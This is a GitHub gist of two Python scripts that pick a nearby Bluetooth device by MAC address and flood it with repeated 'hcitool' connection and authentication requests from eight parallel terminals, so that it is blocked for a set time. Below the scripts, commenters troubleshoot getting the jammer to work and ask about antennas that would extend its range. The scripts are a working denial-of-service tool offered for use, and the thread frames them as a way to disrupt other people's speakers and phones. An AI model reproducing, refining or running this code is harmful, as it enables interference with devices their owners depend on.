Skip to content

Instantly share code, notes, and snippets.

@robertosw
Last active May 27, 2025 11:39
Show Gist options
  • Select an option

  • Save robertosw/0361be6d9cbf9ab6010c174f0195f87c to your computer and use it in GitHub Desktop.

Select an option

Save robertosw/0361be6d9cbf9ab6010c174f0195f87c to your computer and use it in GitHub Desktop.
Bluetooth spam, blocking choosen device
# I got all in /home/pi - change directories if put somewhere else
import time
import os
path = '/home/pi/mac.txt'
mac_file = open(path, 'r')
attackmac = mac_file.read()
path = '/home/pi/attacktime.txt'
atk_file = open(path, 'r')
attacktime = atk_file.read()
attacktimeint = int(attacktime)
timeout = time.time() + attacktimeint
while True:
os.system("sudo hcitool cc --role=m "+ attackmac)
os.system("sudo hcitool auth "+ attackmac )
if time.time() > timeout:
break
# I got all in /home/pi - change directories if put somewhere else
import bluetooth
import sys
import serial
import os
import time
import subprocess
attacktime = 1*60 #one minute, you can change that
attacktimestr = str(attacktime)
path = '/home/pi/attacktime.txt' #you need to create this file, I've been to lazy letting it create one and then check every time if its there
atk_file = open(path, 'w')
atk_file.write(attacktimestr)
atk_file.close()
#scanning for bluetooth devices
os.system("sudo hcitool scan --length=3")
print("")
#inquiring bluetooth devices, used to key out mac adress
cmd = ["hcitool", "inq"]
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE)
output, _ = proc.communicate()
newoutput = ""
newoutput = str(output)
print("1:",(newoutput[19:36]))
mac1=(newoutput[19:36])
print("2:",(newoutput[79:96]))
mac2=(newoutput[79:96])
print("3:",(newoutput[139:156]))
mac3=(newoutput[139:156])
print("4:",(newoutput[199:216]))
mac4=(newoutput[199:216])
print("5:",(newoutput[259:276]))
mac5=(newoutput[259:276])
print("6:",(newoutput[319:336]))
mac6=(newoutput[319:336])
print("7:",(newoutput[379:396]))
mac7=(newoutput[379:396])
print("8:",(newoutput[439:456]))
mac8=(newoutput[439:456])
print("9:",(newoutput[499:516]))
mac9=(newoutput[499:516])
print("")
print("c-cancel")
userinput = input('which MAC (1-9 or "c"):')
print(userinput)
#handle for user input
if userinput == "c":
os.system("clear")
os.system("quit()")
elif userinput == "1":
attackmac = mac1
elif userinput == "2":
attackmac = mac2
elif userinput == "3":
attackmac = mac3
elif userinput == "4":
attackmac = mac4
elif userinput == "5":
attackmac = mac5
elif userinput == "6":
attackmac = mac6
elif userinput == "7":
attackmac = mac7
elif userinput == "8":
attackmac = mac8
elif userinput == "9":
attackmac = mac9
path = '/home/pi/mac.txt' #you need to create this file, I've been to lazy letting it create one and then check every time if its there
mac_file = open(path, 'w')
mac_file.write(attackmac)
mac_file.close()
command=("python3 autospam.py")
os.system("lxterminal --command=" + "'" + command + "'" + "&")
os.system("lxterminal --command=" + "'" + command + "'" + "&")
os.system("lxterminal --command=" + "'" + command + "'" + "&")
os.system("lxterminal --command=" + "'" + command + "'" + "&")
os.system("lxterminal --command=" + "'" + command + "'" + "&")
os.system("lxterminal --command=" + "'" + command + "'" + "&")
os.system("lxterminal --command=" + "'" + command + "'" + "&")
os.system("lxterminal --command=" + "'" + command + "'" + "&")
a = input("just hit enter to close, its to find errors ")
@ralts00
Copy link
Copy Markdown

ralts00 commented Jun 19, 2020

Thanks thanks thanks :D

@madhatter02
Copy link
Copy Markdown

@ralts00 did you get this to actually work in a live environment? you might be the first one! how far away are the speaker and phone?

@madhatter02
Copy link
Copy Markdown

@BlackSmileyFace thanks a lot for this!
do you know what's a very powerful antenna to attach to a raspberry pi, android phone or even a macbook pro? antenna around $50-100, need to achieve a 10 meter range

@robertosw
Copy link
Copy Markdown
Author

robertosw commented Aug 8, 2020 via email

@ralts00
Copy link
Copy Markdown

ralts00 commented Sep 21, 2020

hi @madhatter02
Hi, I didn't actually get it to work :(

@Marckcity
Copy link
Copy Markdown

8E9AC9BE-0036-48A5-B1E8-B9335EC5A8F3

Anybody know what i am doing wrong?

Regards from Germany

@robertosw
Copy link
Copy Markdown
Author

robertosw commented Dec 11, 2020 via email

@Marckcity
Copy link
Copy Markdown

Thank you for the fast answer 😊
Sorry i think you are right i will test it today with the right path and let you know whats happen

Regards from Germany

@Marckcity
Copy link
Copy Markdown

043D8A89-93D8-4206-8074-A2BCC51F71C2
I ve got the same error ?! But i have changed all „pi“ to „kali“ and i generate the 2 files needed

the mac.txt and the attacktime.txt

Anybody have idea what i am doing wrong?

Regards

@robertosw
Copy link
Copy Markdown
Author

robertosw commented Dec 11, 2020 via email

@Marckcity
Copy link
Copy Markdown

8E7B48D7-C17A-4B91-8BDB-0C1FEC21923C
Uploading 5343A72D-3B97-43C6-8431-39D20EB29A6A.png…

@robertosw
Copy link
Copy Markdown
Author

robertosw commented Dec 11, 2020 via email

@Marckcity
Copy link
Copy Markdown

I tryed the sudo python3 bt-block.py but still have the same error

I will test it now on a new linux only with the user pi and answer then here 😀

@robertosw
Copy link
Copy Markdown
Author

robertosw commented Dec 11, 2020 via email

@Marckcity
Copy link
Copy Markdown

Ok maybe do you have a img that run ? I only need the Bluetooth jammer program from you 😊
Regards

@robertosw
Copy link
Copy Markdown
Author

robertosw commented Dec 11, 2020 via email

@Marckcity
Copy link
Copy Markdown

Yes no Problem 😊 i will try in the meantime a new build rpi linux

@Marckcity
Copy link
Copy Markdown

268894DE-D889-42BE-A152-C57852FBFE36
7CE2038B-BD46-4341-944A-9D1F153604BE

Know its better but i can scan manually the bt and when i try to run the bt-block.py i get an error ?! Regards

@robertosw
Copy link
Copy Markdown
Author

robertosw commented Dec 11, 2020 via email

@Marckcity
Copy link
Copy Markdown

7972C708-6DE1-4CAB-916E-190D94A052F6

I'm a little further than before, you probably know my mistake, right?

Regards

@robertosw
Copy link
Copy Markdown
Author

please download bt-block.py again, I changed something. That should help with the cancel problem

@Marckcity
Copy link
Copy Markdown

83F66894-72E4-493B-8BAF-783664C511F9

I found out something else

only my TV is found, neither an iphone nor a cheap mp3 player and the bluetooth box is not displayed in the list and an error occurs

Regards

@Marckcity
Copy link
Copy Markdown

Ok i will download it again and reply to you

Regards

@robertosw
Copy link
Copy Markdown
Author

To the picture: please find out what the console is called on the OS you are using. lxterminal is the command on a raspberry pi. Maybe test out in the console to find the command which opens a new console window.

Second Problem of not finding something else then your TV: is your device connected to your TV? if so, then thats a problem with the way your devices is searching for new bluetooth devices, thats impossible to fix for me

@Marckcity
Copy link
Copy Markdown

I have to test again more exactly but I use standard ssh terminal programs like termius or shelly. ok that means you can only block bt with it when the devices are in pairing mode?

Regards

@robertosw
Copy link
Copy Markdown
Author

robertosw commented Dec 12, 2020 via email

@sabinecelina
Copy link
Copy Markdown

Hello all,

I don't get anz error but I also don't get any mac adress. Does somebody know why?

@robertosw
Copy link
Copy Markdown
Author

robertosw commented Jan 28, 2021 via email

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment